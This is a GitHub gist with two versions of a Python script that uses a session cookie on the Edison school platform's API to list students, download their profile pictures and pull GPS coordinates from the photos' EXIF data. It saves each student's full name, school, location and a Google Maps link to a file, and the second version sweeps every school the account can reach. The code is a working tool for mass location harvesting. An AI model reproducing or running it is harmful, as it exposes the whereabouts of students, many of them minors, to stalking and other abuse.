Skip to content

Instantly share code, notes, and snippets.

@developerfromjokela
Last active October 25, 2020 15:09
Show Gist options
  • Save developerfromjokela/5d97647e8d2afdd37d919b000a2eea4e to your computer and use it in GitHub Desktop.
Save developerfromjokela/5d97647e8d2afdd37d919b000a2eea4e to your computer and use it in GitHub Desktop.
Edison Sijainninkaappaaja, etsii käyttäjien profiilikuvien exif tiedoista sijaintia
import argparse
from io import BytesIO
import requests
import uuid
import exifread as ef
import json
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def progressBar(iterable, prefix='', suffix='', decimals=1, length=100, fill='█', printEnd="\r"):
"""
Call in a loop to create terminal progress bar
@params:
iteration - Required : current iteration (Int)
total - Required : total iterations (Int)
prefix - Optional : prefix string (Str)
suffix - Optional : suffix string (Str)
decimals - Optional : positive number of decimals in percent complete (Int)
length - Optional : character length of bar (Int)
fill - Optional : bar fill character (Str)
printEnd - Optional : end character (e.g. "\r", "\r\n") (Str)
"""
total = len(iterable)
# Progress Bar Printing Function
def printProgressBar(iteration):
percent = ("{0:." + str(decimals) + "f}").format(100 * (iteration / float(total)))
filledLength = int(length * iteration // total)
bar = fill * filledLength + '-' * (length - filledLength)
print(f'\r{prefix} |{bar}| {percent}% {suffix}', end=printEnd)
# Initial Call
printProgressBar(0)
# Update Progress Bar
for i, item in enumerate(iterable):
yield item
printProgressBar(i + 1)
# Print New Line on Complete
print()
# barrowed from
# https://gist.github.com/snakeye/fdc372dbf11370fe29eb
def _convert_to_degress(value):
"""
Helper function to convert the GPS coordinates stored in the EXIF to degress in float format
:param value:
:type value: exifread.utils.Ratio
:rtype: float
"""
d = float(value.values[0].num) / float(value.values[0].den)
m = float(value.values[1].num) / float(value.values[1].den)
s = float(value.values[2].num) / float(value.values[2].den)
return d + (m / 60.0) + (s / 3600.0)
def getGPSCoordinates(content):
tags = ef.process_file(content)
latitude = tags.get('GPS GPSLatitude')
latitude_ref = tags.get('GPS GPSLatitudeRef')
longitude = tags.get('GPS GPSLongitude')
longitude_ref = tags.get('GPS GPSLongitudeRef')
if latitude:
lat_value = _convert_to_degress(latitude)
if latitude_ref.values != 'N':
lat_value = -lat_value
else:
return {}
if longitude:
lon_value = _convert_to_degress(longitude)
if longitude_ref.values != 'E':
lon_value = -lon_value
else:
return {}
return {'latitude': lat_value, 'longitude': lon_value}
def printWithColor(color, text):
print(color + text + bcolors.ENDC)
def inputWithColor(color, text):
return input(color + text + bcolors.ENDC)
def validate_session(appsid):
response = get_request_session(appsid, "?format=json")
return response.status_code == 200
def get_request_session(appsid, url):
return requests.get("https://app.edison.fi/uiapi/1/" + url, cookies={'appsid': appsid})
def getSchools(appsid, name):
response = get_request_session(appsid, "desktop_groups/?q=" + name + "&with_users=1")
if response.status_code != 200:
printWithColor(bcolors.FAIL, "Tapahtui virhe: " + response.text)
exit(-1)
else:
finalizedArray = []
schools = response.json()
for item in schools:
title = item['title'].lower()
if title == name.lower():
finalizedArray.append(item)
return finalizedArray
parser = argparse.ArgumentParser(description='Edison Kaappari')
parser.add_argument('--appsid', type=str,
help='Edisonin session cookie \'appsid\' arvo tähän', required=True)
parser.add_argument('--koulu', type=str,
help='Koulun nimi', required=True)
parser.add_argument('--result', type=str,
help='Tiedoston polku tai nimi johon löydetty data tallennetaan',
default="result-" + str(uuid.uuid4()) + ".txt")
parser.add_argument('--id', type=int,
help='Koulun id, jos kouluja tulee haulla enemmän kuin yksi')
parsedArgs = parser.parse_args()
print("Tervetuloa edison sijaintikaappariin!\n\n")
printWithColor(bcolors.OKBLUE, "Tarkistetaan istuntoa...")
if not validate_session(parsedArgs.appsid):
printWithColor(bcolors.FAIL, "Istunto ei ole oikein!")
exit(-1)
else:
printWithColor(bcolors.OKBLUE, "Haeataan koulua " + parsedArgs.koulu)
searchResult = getSchools(parsedArgs.appsid, parsedArgs.koulu)
if len(searchResult) == 0:
printWithColor(bcolors.FAIL, "Koulua ei löytynyt")
exit(-1)
printWithColor(bcolors.WARNING, "Haku löysi " + str(len(searchResult)) + " koulu(a)")
school = None
if len(searchResult) > 1 and parsedArgs.id is None:
for index, school in enumerate(searchResult):
print("[id: " + str(school['id']) + "] " + school['title'])
printWithColor(bcolors.FAIL,
"Aseta parametri --id vastaamaan haluamasi koulun numeroa, ja käynnistä skripti uudelleen")
exit(-1)
elif len(searchResult) > 1 and parsedArgs.id is not None:
for school2 in searchResult:
if school2['id'] == parsedArgs.id:
school = school2
break
if school is None:
printWithColor(bcolors.FAIL, "Koulua ei löytynyt antamasi id:llä")
exit(-1)
else:
school = searchResult[0]
printWithColor(bcolors.WARNING, "Valittu " + school['title'])
printWithColor(bcolors.OKBLUE, "Lähdetään skannaamaan oppilaita")
found = 0
with open(parsedArgs.result, 'a') as fobj:
for student in progressBar(school['users']):
if student['profile_picture_url'] is not None:
response = requests.get(student['profile_picture_url'])
res = BytesIO(response.content)
exifdata = getGPSCoordinates(res)
if 'latitude' in exifdata:
printWithColor(bcolors.OKGREEN, "Sijainti on selvillä!")
printWithColor(bcolors.WARNING,
student['full_name'])
found = found+1
print(exifdata)
fobj.write(student['full_name']+': \n'+json.dumps(exifdata)+': \nhttps://www.google.com/maps/search/'+(str(exifdata['latitude'])+", "+str(exifdata['longitude']))+": \n"+student['profile_picture_url']+'\n-------------\n\n')
printWithColor(bcolors.OKGREEN, "Yhteensä löydettiin "+str(found)+" GPS-sijainti(a) profiilikuvista")
import argparse
from io import BytesIO
import requests
import uuid
import exifread as ef
import json
import bs4
from collections.abc import Mapping
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def progressBar(iterable, prefix='', suffix='', decimals=1, length=100, fill='█', printEnd="\r"):
"""
Call in a loop to create terminal progress bar
@params:
iteration - Required : current iteration (Int)
total - Required : total iterations (Int)
prefix - Optional : prefix string (Str)
suffix - Optional : suffix string (Str)
decimals - Optional : positive number of decimals in percent complete (Int)
length - Optional : character length of bar (Int)
fill - Optional : bar fill character (Str)
printEnd - Optional : end character (e.g. "\r", "\r\n") (Str)
"""
total = len(iterable)
# Progress Bar Printing Function
def printProgressBar(iteration):
try:
percent = ("{0:." + str(decimals) + "f}").format(100 * (iteration / float(total)))
filledLength = int(length * iteration // total)
bar = fill * filledLength + '-' * (length - filledLength)
print(f'\r{prefix} |{bar}| {percent}% {suffix}', end=printEnd)
except:
percent = 0
# Initial Call
printProgressBar(0)
# Update Progress Bar
for i, item in enumerate(iterable):
yield item
printProgressBar(i + 1)
# Print New Line on Complete
print()
# barrowed from
# https://gist.github.com/snakeye/fdc372dbf11370fe29eb
def _convert_to_degress(value):
"""
Helper function to convert the GPS coordinates stored in the EXIF to degress in float format
:param value:
:type value: exifread.utils.Ratio
:rtype: float
"""
d = float(value.values[0].num) / float(value.values[0].den)
m = float(value.values[1].num) / float(value.values[1].den)
s = float(value.values[2].num) / float(value.values[2].den)
return d + (m / 60.0) + (s / 3600.0)
def getGPSCoordinates(content):
tags = ef.process_file(content)
latitude = tags.get('GPS GPSLatitude')
latitude_ref = tags.get('GPS GPSLatitudeRef')
longitude = tags.get('GPS GPSLongitude')
longitude_ref = tags.get('GPS GPSLongitudeRef')
if latitude:
lat_value = _convert_to_degress(latitude)
if latitude_ref.values != 'N':
lat_value = -lat_value
else:
return {}
if longitude:
lon_value = _convert_to_degress(longitude)
if longitude_ref.values != 'E':
lon_value = -lon_value
else:
return {}
return {'latitude': lat_value, 'longitude': lon_value}
def printWithColor(color, text):
print(color + text + bcolors.ENDC)
def inputWithColor(color, text):
return input(color + text + bcolors.ENDC)
def validate_session(appsid):
response = get_request_session(appsid, "?format=json")
return response.status_code == 200
def get_request_session(appsid, url):
return requests.get("https://app.edison.fi/uiapi/1/" + url, cookies={'appsid': appsid})
def getSchools(appsid, name):
response = get_request_session(appsid, "desktop_groups/?q=" + name + "&with_users=1")
if response.status_code != 200:
printWithColor(bcolors.FAIL, "Tapahtui virhe: " + response.text)
exit(-1)
else:
finalizedArray = []
schools = response.json()
for item in schools:
title = item['title'].lower()
if title == name.lower():
finalizedArray.append(item)
return finalizedArray
def getSchoolList(appsid):
response = get_request_session(appsid, "dreamcards/cards/1/get_sharing_template/")
document = bs4.BeautifulSoup(response.text, 'html.parser')
itemSelect = document.find("select", {'class': 'participants-addbox-filter-organisation-field'})
items = []
if itemSelect is not None:
for item in itemSelect.find_all("option"):
items.append(item.text)
return items
parser = argparse.ArgumentParser(description='Edison Kaappari')
parser.add_argument('--appsid', type=str,
help='Edisonin session cookie \'appsid\' arvo tähän', required=True)
parser.add_argument('--result', type=str,
help='Tiedoston polku tai nimi johon löydetty data tallennetaan',
default="result-" + str(uuid.uuid4()) + ".txt")
parsedArgs = parser.parse_args()
print("Tervetuloa edison sijaintikaappariin!\n\n")
printWithColor(bcolors.OKBLUE, "Tarkistetaan istuntoa...")
if not validate_session(parsedArgs.appsid):
printWithColor(bcolors.FAIL, "Istunto ei ole oikein!")
exit(-1)
else:
printWithColor(bcolors.OKBLUE, "Haeataan kouluja")
schoolList = getSchoolList(parsedArgs.appsid)
schools = []
for school in schoolList:
searchResult = getSchools(parsedArgs.appsid, school)
for item in searchResult:
schools.append(item)
if len(schools) == 0:
printWithColor(bcolors.FAIL, "Kouluja ei löytynyt")
exit(-1)
printWithColor(bcolors.WARNING, "Haku löysi " + str(len(schools)) + " koulu(a)")
school = None
printWithColor(bcolors.OKBLUE, "Lähdetään skannaamaan oppilaita")
found = 0
with open(parsedArgs.result, 'a') as fobj:
for index, school in enumerate(schools):
printWithColor(bcolors.OKBLUE, school['title']+" ("+str(index+1)+"/"+str(len(schools))+")")
for student in progressBar(school['users']):
if isinstance(student, Mapping) and student['profile_picture_url'] is not None:
response = requests.get(student['profile_picture_url'])
res = BytesIO(response.content)
exifdata = getGPSCoordinates(res)
if 'latitude' in exifdata:
printWithColor(bcolors.OKGREEN, "Sijainti on selvillä!")
printWithColor(bcolors.WARNING,
student['full_name'])
found = found + 1
print(exifdata)
fobj.write(student['full_name'] + ', '+school['title'] +': \n' + json.dumps(
exifdata) + ' \nhttps://www.google.com/maps/search/' + (
str(exifdata['latitude']) + ", " + str(exifdata['longitude'])) + " \n" +
student['profile_picture_url'] + '\n-------------\n\n')
printWithColor(bcolors.OKGREEN, "Yhteensä löydettiin " + str(found) + " GPS-sijainti(a) profiilikuvista")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment